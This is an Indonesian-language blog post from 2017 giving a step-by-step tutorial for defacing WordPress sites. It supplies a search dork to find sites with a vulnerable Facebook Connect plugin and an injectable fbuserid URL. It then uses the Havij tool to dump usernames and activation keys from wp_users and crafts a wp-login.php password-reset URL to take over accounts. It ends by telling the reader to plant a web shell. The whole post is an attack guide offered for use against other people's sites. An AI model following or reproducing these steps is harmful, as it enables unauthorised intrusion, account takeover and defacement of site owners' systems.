tutorial sql injection wordpress + reset password (havij)

Published by Admin Saturday, December 2, 2017

hay guys:v ok kali ini cakil akan share tutorial deface wordpress sql injection reset password
ok gausah lama lama kuy cekidot :v

1.dork : inurl:?fbconnect_action=myhome
(kembangin njer)
2.kalo udah nemu target tambahkan exploit "fb"
http://localhost/??fbconnect_action=myhome&fbuserid=1

(liat gambar)
3.buka havij masukan url nya
4.klik tables
5.klik get tables
6.cari wp-users

(liat gambar)
7.klik get column

(liat gambar)
8.nah cari column user_login dan user activation key
9.nah tinggal dump deh
10.kalo sudah masukan di url
wp-login.php?action=rp&key="kode aktivasi"&login="user login"
contoh
http://localhost/wp-login.php?action=rp&key=uyrenxvjhadsblala&login=cakil
11.masukan new password nya :v (terserah lu :v)
12.klo sudah masuk tinggal tanem shell deh :v 

wkwkwkwkw :v gampang kan 
tunggu tutor selanjutnya ea